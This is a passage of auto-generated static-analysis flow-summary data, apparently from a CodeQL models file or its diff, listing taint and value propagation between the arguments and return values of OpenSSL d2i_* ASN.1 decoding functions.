"Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdOrRange", "(ASIdOrRange **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifierChoice", "(ASIdentifierChoice **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASIdentifiers", "(ASIdentifiers **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BIT_STRING", "(ASN1_BIT_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_BMPSTRING", "(ASN1_BMPSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_ENUMERATED", "(ASN1_ENUMERATED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, 